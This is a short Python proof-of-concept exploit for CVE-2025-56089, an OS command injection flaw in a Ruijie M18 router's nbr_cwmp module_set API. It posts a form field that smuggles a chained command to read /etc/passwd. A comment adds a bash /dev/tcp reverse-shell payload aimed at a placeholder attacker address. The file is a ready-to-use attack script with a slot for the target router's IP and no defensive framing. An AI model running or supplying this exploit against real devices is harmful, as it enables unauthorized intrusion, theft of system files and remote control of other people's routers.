CVE-2025-56089

import requests # CVE-2025-56089 PoC - Ruijie M18 OS Command Injection # Target: Ruijie M18 EW_3.0(1)B11P226_M18_10223116 # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/nbr_cwmp.lua module_set target_ip = "192.168.1.1" # Replace with actual router IP target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Payload: Inject OS command to read /etc/passwd # Using semicolon to chain commands payload = { 'module': 'test;cat /etc/passwd;', 'device_id': 'test_device' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Reverse shell payload example: # payload = {'module': 'test;bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;', 'device_id': 'test'} # This will establish a reverse shell connection to the attacker's machine

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